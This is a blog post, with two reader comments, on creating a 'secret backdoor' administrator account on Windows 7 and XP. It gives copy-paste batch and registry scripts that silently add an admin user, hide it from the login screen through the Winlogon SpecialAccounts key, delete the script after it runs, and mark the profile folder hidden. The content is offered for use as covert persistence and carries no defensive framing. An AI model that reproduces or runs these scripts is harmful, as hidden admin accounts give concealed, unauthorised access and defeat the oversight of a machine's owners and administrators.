Secret Backdoor Password for Windows 7 and XP

How to make a backdoor hidden user account for Windows 7 and Windows XP?
How to make a Windows account hidden/invisible at the login screen?
Windows 7 backdoor account for secret access?
Hide user account in Windows?


Essentially what you need to do is create an adiministrative account and then use the registry to hide it.

This would be the reg key you need to create  : HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon \SpecialAccounts\UserList  - then by adding a DWORD(32bit) with the required UserAccountName and then setting the value to 0 and you are all done...

BUT there is a better and easier way! (sortof)


For Windows 7 Only - Do this:

Make a dos batch file (.bat) with Notepad (run as Admin) [If you don't know how - you shouldn't be here]

Copy and paste the following in: (Leave the SNIP part off!!)

Don't forget to change the "PutYourUserNameHere" and "SomeSecretPasswordHere" to what you want.

---SNIP START---


@echo off
SET SECRETUSER=PutYourUserNameHere
SET SECRETPASSWORD=SomeSecretPasswordHere

net user %SECRETUSER% %SECRETPASSWORD% /add && net localgroup administrators %SECRETUSER% /add>nul 2>&1

---SNIP END---

Save as "makesecretuser.bat" (use inverted commas) and Run the batch file as Administrator (Either with Right Click or with Admin Dos Prompt)

THEN FOR NEXT BIT OF MAGIC


Make a registry file (.reg) with Notepad (run as Admin)

Copy and paste the following in: (Leave the SNIP part off!!)

Don't forget to replace "PutYourSecretUserAccountNameHere" with the account name you set above.

---SNIP START---

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]
"PutYourSecretUserAccountNameHere"=dword:00000000


---SNIP END---

Save as "hidesecretuser.reg" (use inverted commas) and Run the registry file as Administrator (Either with Right Click or with Admin Dos Prompt)




Jump to the end of this doc to finish off.



For Windows XP Only - Do this:

Log in with an Administrator Account.

Make a dos batch file (.bat) with Notepad [If you don't know how - you shouldn't be here]

Copy and paste the following in: (Leave the SNIP part off!!)

Don't forget to change the "PutYourUserNameHere" and "SomeSecretPasswordHere" to what you want.

---SNIP START---

@echo off
rem Use the following 2 lines to put YOUR details in
SET SECRETUSER=PutYourUserNameHere
SET SECRETPASSWORD=SomeSecretPasswordHere

rem This will create the account
net user %SECRETUSER% %SECRETPASSWORD% /add && net localgroup administrators %SECRETUSER% /add>nul 2>&1

rem This will hide the account in the registry
reg.exe ADD “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList” /v %SECRETUSER% /t REG_DWORD /d 0 /f>nul 2>&1

rem The following line will auto delete this batch file once its run once
DEL %0

---SNIP END---

Save as "makesecretuser.bat" (use inverted commas) and Run the batch file as Administrator.



Finishing off for both Win7 and XP - Do this:

Once you have created the account and logged in as this SECRET USER then you should hide the User Folder on the drive.

At the dos prompt type the following:

attrib +r +a +s +h %USERPROFILE%

All done!

2 comments:

  1. I just got system 5 error :\
    Sadly, I have forgotten my Admin account password and my user account password. Atm i'm using a guest trying to find a way to reset password/ make new account.

    ReplyDelete
  2. Have you solved your problem yet? If not I can give you the solution.. Just ask!

    ReplyDelete